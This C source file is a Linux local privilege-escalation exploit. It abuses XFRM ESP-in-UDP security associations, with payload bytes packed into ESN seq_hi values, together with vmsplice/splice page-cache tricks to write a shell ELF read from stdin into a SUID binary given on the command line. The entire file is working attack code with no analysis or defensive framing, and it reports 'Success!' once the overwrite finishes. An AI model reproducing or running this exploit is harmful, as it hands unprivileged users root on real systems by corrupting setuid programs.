#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sched.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <linux/if.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <linux/xfrm.h>

#ifndef UDP_ENCAP
#define UDP_ENCAP 100
#endif
#ifndef UDP_ENCAP_ESPINUDP
#define UDP_ENCAP_ESPINUDP 2
#endif
#ifndef SOL_UDP
#define SOL_UDP 17
#endif

#define ENC_PORT         4500
#define SEQ_VAL          200
#define REPLAY_SEQ       100


static void put_attr(struct nlmsghdr *nlh, int type, const void *data, size_t len)
{
	struct rtattr *rta = (struct rtattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len));
	rta->rta_type = type;
	rta->rta_len  = RTA_LENGTH(len);
	memcpy(RTA_DATA(rta), data, len);
	nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(rta->rta_len);
}

static int write_proc(const char *path, const char *buf)
{
	int fd = open(path, O_WRONLY);
	if (fd < 0) return -1;
	int n = write(fd, buf, strlen(buf));
	close(fd);
	return n;
}

static int add_xfrm_sa(uint32_t spi, uint32_t patch_seqhi)
{
	int sk = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM);
	if (sk < 0) return -1;
	struct sockaddr_nl nl = { .nl_family = AF_NETLINK };
	if (bind(sk, (struct sockaddr*)&nl, sizeof(nl)) < 0) { close(sk); return -1; }

	char buf[4096] = {0};
	struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
	nlh->nlmsg_type  = XFRM_MSG_NEWSA;
	nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
	nlh->nlmsg_pid   = getpid();
	nlh->nlmsg_seq   = 1;
	nlh->nlmsg_len   = NLMSG_LENGTH(sizeof(struct xfrm_usersa_info));

	struct xfrm_usersa_info *xs = (struct xfrm_usersa_info *)NLMSG_DATA(nlh);
	xs->id.daddr.a4 = inet_addr("127.0.0.1");
	xs->id.spi      = htonl(spi);
	xs->id.proto    = IPPROTO_ESP;
	xs->saddr.a4    = inet_addr("127.0.0.1");
	xs->family      = AF_INET;
	xs->mode        = XFRM_MODE_TRANSPORT;
	xs->replay_window = 0;
	xs->reqid       = 0x1234;
	xs->flags       = XFRM_STATE_ESN;
	xs->lft.soft_byte_limit   = (uint64_t)-1;
	xs->lft.hard_byte_limit   = (uint64_t)-1;
	xs->lft.soft_packet_limit = (uint64_t)-1;
	xs->lft.hard_packet_limit = (uint64_t)-1;
	xs->sel.family  = AF_INET;
	xs->sel.prefixlen_d = 32;
	xs->sel.prefixlen_s = 32;
	xs->sel.daddr.a4 = inet_addr("127.0.0.1");
	xs->sel.saddr.a4 = inet_addr("127.0.0.1");

	{
		char alg_buf[sizeof(struct xfrm_algo_auth) + 32];
		memset(alg_buf, 0, sizeof(alg_buf));
		struct xfrm_algo_auth *aa = (struct xfrm_algo_auth *)alg_buf;
		strncpy(aa->alg_name, "hmac(sha256)", sizeof(aa->alg_name)-1);
		aa->alg_key_len   = 32 * 8;
		aa->alg_trunc_len = 128;
		memset(aa->alg_key, 0xAA, 32);
		put_attr(nlh, XFRMA_ALG_AUTH_TRUNC, alg_buf, sizeof(alg_buf));
	}
	{
		char alg_buf[sizeof(struct xfrm_algo) + 16];
		memset(alg_buf, 0, sizeof(alg_buf));
		struct xfrm_algo *ea = (struct xfrm_algo *)alg_buf;
		strncpy(ea->alg_name, "cbc(aes)", sizeof(ea->alg_name)-1);
		ea->alg_key_len = 16 * 8;
		memset(ea->alg_key, 0xBB, 16);
		put_attr(nlh, XFRMA_ALG_CRYPT, alg_buf, sizeof(alg_buf));
	}
	{
		struct xfrm_encap_tmpl enc;
		memset(&enc, 0, sizeof(enc));
		enc.encap_type  = UDP_ENCAP_ESPINUDP;
		enc.encap_sport = htons(ENC_PORT);
		enc.encap_dport = htons(ENC_PORT);
		enc.encap_oa.a4 = 0;
		put_attr(nlh, XFRMA_ENCAP, &enc, sizeof(enc));
	}
	{
		char esn_buf[sizeof(struct xfrm_replay_state_esn) + 4];
		memset(esn_buf, 0, sizeof(esn_buf));
		struct xfrm_replay_state_esn *esn = (struct xfrm_replay_state_esn *)esn_buf;
		esn->bmp_len       = 1;
		esn->oseq          = 0;
		esn->seq           = REPLAY_SEQ;
		esn->oseq_hi       = 0;
		esn->seq_hi        = patch_seqhi;
		esn->replay_window = 32;
		put_attr(nlh, XFRMA_REPLAY_ESN_VAL, esn_buf, sizeof(esn_buf));
	}

	if (send(sk, nlh, nlh->nlmsg_len, 0) < 0) { close(sk); return -1; }
	char rbuf[4096];
	int n = recv(sk, rbuf, sizeof(rbuf), 0);
	if (n < 0) { close(sk); return -1; }
	struct nlmsghdr *rh = (struct nlmsghdr *)rbuf;
	if (rh->nlmsg_type == NLMSG_ERROR) {
		struct nlmsgerr *e = NLMSG_DATA(rh);
		if (e->error) { close(sk); return -1; }
	}
	close(sk);
	return 0;
}

static int setup_namespace(void)
{
	printf("[*] setup_namespace: start (uid=%u gid=%u)\n", getuid(), getgid());
	if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
		printf("[-] setup_namespace: unshare failed: %s\n", strerror(errno));
		return 0;
	}
	printf("[+] setup_namespace: unshare(CLONE_NEWUSER|CLONE_NEWNET) ok\n");

	write_proc("/proc/self/setgroups", "deny");

	int s = socket(AF_INET, SOCK_DGRAM, 0);
	if (s < 0) {
		printf("[-] setup_namespace: socket failed: %s\n", strerror(errno));
		return 0;
	}

	if (ioctl(s, SIOCSIFFLAGS, &(struct ifreq){ .ifr_name="lo",.ifr_flags=IFF_UP|IFF_RUNNING }) < 0) {
		printf("[-] setup_namespace: lo ioctl failed: %s\n", strerror(errno));
		return 0;
	};
	printf("[+] setup_namespace: lo brought up\n");

	close(s);
	printf("[+] setup_namespace: done\n");
	return 1;
}

static int do_one_write(const char *path, off_t offset, uint32_t spi)
{
	int sk_recv = socket(AF_INET, SOCK_DGRAM, 0);
	if (sk_recv < 0) return -1;
	int one = 1;
	setsockopt(sk_recv, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
	struct sockaddr_in sa_d = {
		.sin_family = AF_INET,
		.sin_port   = htons(ENC_PORT),
		.sin_addr   = { inet_addr("127.0.0.1") },
	};
	if (bind(sk_recv, (struct sockaddr*)&sa_d, sizeof(sa_d)) < 0) {
		close(sk_recv); return -1;
	}
	int encap = UDP_ENCAP_ESPINUDP;
	if (setsockopt(sk_recv, IPPROTO_UDP, UDP_ENCAP, &encap, sizeof(encap)) < 0) {
		close(sk_recv); return -1;
	}
	int sk_send = socket(AF_INET, SOCK_DGRAM, 0);
	if (sk_send < 0) { close(sk_recv); return -1; }
	if (connect(sk_send, (struct sockaddr*)&sa_d, sizeof(sa_d)) < 0) {
		close(sk_send); close(sk_recv); return -1;
	}
	int file_fd = open(path, O_RDONLY);
	if (file_fd < 0) { close(sk_send); close(sk_recv); return -1; }

	int pfd[2];
	if (pipe(pfd) < 0) { close(file_fd); close(sk_send); close(sk_recv); return -1; }

	uint8_t hdr[24];
	*(uint32_t*)(hdr + 0) = htonl(spi);
	*(uint32_t*)(hdr + 4) = htonl(SEQ_VAL);
	memset(hdr + 8, 0xCC, 16);

	struct iovec iov_h = { .iov_base = hdr, .iov_len = sizeof(hdr) };
	if (vmsplice(pfd[1], &iov_h, 1, 0) != (ssize_t)sizeof(hdr)) {
		close(file_fd); close(pfd[0]); close(pfd[1]); close(sk_send); close(sk_recv); return -1;
	}
	off_t off = offset;
	ssize_t s = splice(file_fd, &off, pfd[1], NULL, 16, SPLICE_F_MOVE);
	if (s != 16) {
		close(file_fd); close(pfd[0]); close(pfd[1]); close(sk_send); close(sk_recv); return -1;
	}
	s = splice(pfd[0], NULL, sk_send, NULL, 24 + 16, SPLICE_F_MOVE);
	/* still proceed regardless of splice rc — kernel may have already
	 * decrypted the page in the time between splice and recv */
	usleep(150 * 1000);

	close(file_fd); close(pfd[0]); close(pfd[1]);
	close(sk_send); close(sk_recv);
	return s == 40 ? 0 : -1;
}

static int overwrite_target(const char *target_path, uint8_t * shell_elf, size_t payload_len)
{
	printf("[*] overwrite_target: start, target=%s payload=%ld bytes (%ld triggers)\n",
	       target_path, payload_len, payload_len / 4);

	if (!setup_namespace()) {
		printf("[-] overwrite_target: namespace setup failed\n");
		return 0;
	}

	printf("[*] overwrite_target: sleeping 100ms before XFRM writes\n");
	usleep(100 * 1000);

	printf("[*] overwrite_target: starting XFRM SA loop (%ld iterations)\n", payload_len / 4);
	for (int i = 0; i < payload_len / 4; i++) {
		uint32_t spi = 0xDEADBE10 + i;
		uint32_t seqhi =
			((uint32_t)shell_elf[i*4 + 0] << 24) |
			((uint32_t)shell_elf[i*4 + 1] << 16) |
			((uint32_t)shell_elf[i*4 + 2] <<  8) |
			((uint32_t)shell_elf[i*4 + 3]);
		printf("[*] overwrite_target: XFRM SA[%d] spi=0x%08x seqhi=0x%08x\n", i, spi, seqhi);
		if (add_xfrm_sa(spi, seqhi) < 0) {
			printf("[-] overwrite_target: XFRM SA[%d] failed: %s\n", i, strerror(errno));
			return 0;
		}
	}

	for (int i = 0; i < payload_len / 4; i++) {
		uint32_t spi = 0xDEADBE10 + i;
		off_t off = i * 4;
		if (do_one_write(target_path, off, spi) < 0) {
			return 0;
		}
	}

	printf("[+] overwrite_target: all XFRM SAs written, payload delivered\n");
	return 1;
}

int main(int argc, char *argv[])
{
	size_t bytes_read;
	ssize_t n;

	if (argc != 3) {
		fprintf(stderr, "Usage: %s payload_length suid_binary\n", argv[0]);
		return 1;
	}

	size_t payload_length = atoi(argv[1]);
	char *suid_binary = argv[2];


	uint8_t *shell_elf = (uint8_t *)malloc(payload_length);
	if (!shell_elf) {
		fprintf(stderr, "malloc: out of memory\n");
		return 2;
	}

	bytes_read = 0;
	while (bytes_read < payload_length) {
		n = read(STDIN_FILENO, shell_elf + bytes_read, payload_length - bytes_read);
		if (n <= 0)
			break;
		bytes_read += n;
	}

	pid_t pid = fork();

	if (pid == 0) {
		printf("[*] main: child process (pid=%d) calling overwrite_target\n", getpid());
		int ret = overwrite_target(suid_binary, shell_elf, payload_length);
		printf("[%s] main: child exiting with %d\n", ret ? "+" : "-", ret);
		if(ret == 1)
		{
			printf("Success!\n");
		}
		return ret;
	}

	int status;
	waitpid(pid, &status, 0);
	return 0;
}
